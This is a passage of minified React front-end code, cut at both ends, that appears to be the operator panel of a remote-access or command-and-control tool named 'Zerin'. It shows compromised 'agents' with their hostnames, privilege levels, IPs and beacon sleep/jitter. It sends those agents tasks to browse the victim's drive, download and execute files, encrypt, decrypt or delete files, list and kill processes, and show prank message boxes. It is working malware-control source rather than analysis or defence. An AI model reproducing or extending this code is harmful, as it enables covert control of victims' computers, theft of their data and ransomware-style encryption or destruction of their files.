placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{O.trim()&&Me(k.agentId,{command:"troll_msgbox",args:[O,A||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors`,children:"Send"})]})]})})]})}function rc({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function UU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function VU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(hd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Lo(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:T5(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:to(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Mo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:Jc(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(DU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const HU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},KU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},YU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function qU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` bg-zerin-bg border border-zerin-panel-border font-mono text-sm overflow-hidden flex flex-col ${t} `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${HU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${YU[s.type]} select-none`,children:KU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function GU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),z=t==="dead",k=m.useRef(null),S=m.useRef(null),A=m.useRef(null);m.useEffect(()=>()=>{k.current&&clearInterval(k.current)},[]),m.useEffect(()=>{if(!p)return;const K=oe=>{oe.button!==2&&S.current&&!S.current.contains(oe.target)&&h(null)},Z=oe=>{oe.key==="Escape"&&h(null)};return document.addEventListener("mousedown",K),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",K),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var K;return(K=A.current)==null?void 0:K.focus()},50)},[y]);const _=m.useCallback(K=>new Promise((Z,oe)=>{let de=0;const be=30,ye=setInterval(async()=>{var G;de++;try{const C=(G=(await Xn(e)).results)==null?void 0:G.find(q=>q.task_id===K);C?(clearInterval(ye),C.error?oe(new Error(C.error)):Z({output:C.output,data:C.data})):de>=be&&(clearInterval(ye),oe(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=m.useCallback(async K=>{if(!z){l(!0),u(""),s([]),k.current&&(clearInterval(k.current),k.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[K]});r(K),f(!0);let oe=0;const de=30;k.current=setInterval(async()=>{var be;oe++;try{const G=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(G){if(k.current&&clearInterval(k.current),k.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(` `).slice(2),C=[];for(const q of te){if(q.length<35)continue;const ne=q.substring(0,12).trim(),B=q.substring(13,33).trim();let le=q.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else oe>=de&&(k.current&&clearInterval(k.current),k.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,z]),P=K=>{if(K.name.includes("..")||K.name.includes("/")||K.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+K.name},I=K=>{N(K),setTimeout(()=>N(""),5e3)},Y=async K=>{h(null),g("download"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"download",args:[Z]}),de=await _(oe);if(de.data){let be;try{be=atob(de.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let q=0;q{h(null),g("delete"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"delete",args:[Z]});await _(oe),I(`Deleted ${K.name}`),O(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},M=async(K,Z,oe)=>{v(null),w(""),g(K),u(""),N("");try{const de=P(Z),{task_id:be}=await Me(e,{command:K,args:[de,oe]}),ye=await _(be);I(ye.output||`${K==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),O(n)}catch(de){u(de instanceof Error?de.message:`${K} failed`)}finally{g(null)}},W=async K=>{h(null),g("execute"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"execute",args:[Z]}),de=await _(oe);I(de.output||`Executed ${K.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},$=(K,Z)=>{K.preventDefault(),K.stopPropagation();const oe=180,de=220;let be=K.clientX,ye=K.clientY;be+oe>window.innerWidth&&(be=window.innerWidth-oe-8),ye+de>window.innerHeight&&(ye=window.innerHeight-de-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},H=()=>{!y||!b.trim()||M(y.action,y.entry,b)},F=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:K=>{K.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:z,children:"root"}),F.map((K,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const oe=F.slice(0,Z+1).join("\\")+"\\";O(oe)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:z,children:K})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>O(n),disabled:z||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),z&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(K=>a.jsxs("button",{onClick:()=>{if(K.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+Z+K.name)}},onContextMenu:Z=>$(Z,K),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:K.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:K.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:K.name})]},K.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>Y(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>W(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>D(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:K=>K.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:A,type:"password",value:b,onChange:K=>w(K.target.value),onKeyDown:K=>{K.key==="Enter"&&H(),K.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:H,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors capitalize`,children:y.action})]})]})})]})}function XU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"ps"});u(!0);let k=0;const S=30;v.current=setInterval(async()=>{var A;k++;try{const O=(A=(await Xn(e)).results)==null?void 0:A.find(P=>P.task_id===z);if(O){if(v.current&&clearInterval(v.current),v.current=null,s(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` `).filter(M=>M.trim()),I=[];for(const M of P){const W=M.trim().split(/\s+/);if(W.length>=2){const $=parseInt(W[0],10);if(!isNaN($)){const H=W.length>=3?parseInt(W[1],10):0,F=!isNaN(H)&&W.length>=3,K=F?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),Z=F&&W.length>=4?W[2]:void 0;I.push({pid:$,ppid:F?H:0,name:K,user:Z,children:[]})}}}const Y=new Map;I.forEach(M=>Y.set(M.pid,M));const D=[];for(const M of I){const W=Y.get(M.ppid);W&&W!==M?W.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else k>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]),w=(z,k)=>{if(!k)return z;const S=k.toLowerCase();return z.filter(A=>{const _=A.name.toLowerCase().includes(S)||String(A.pid).includes(S),O=w(A.children,k).length>0;return _||O})},j=m.useCallback(async z=>{h(z),g(null);try{await Me(e,{command:"kill",args:[String(z)]}),setTimeout(b,2e3)}catch(k){l(k instanceof Error?k.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(z=>a.jsx(sS,{process:z,depth:0,confirmKillPid:x,killingPid:p,onKillClick:k=>g(k),onKillConfirm:j,onKillCancel:()=>g(null)},z.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function sS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(sS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function ZU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const 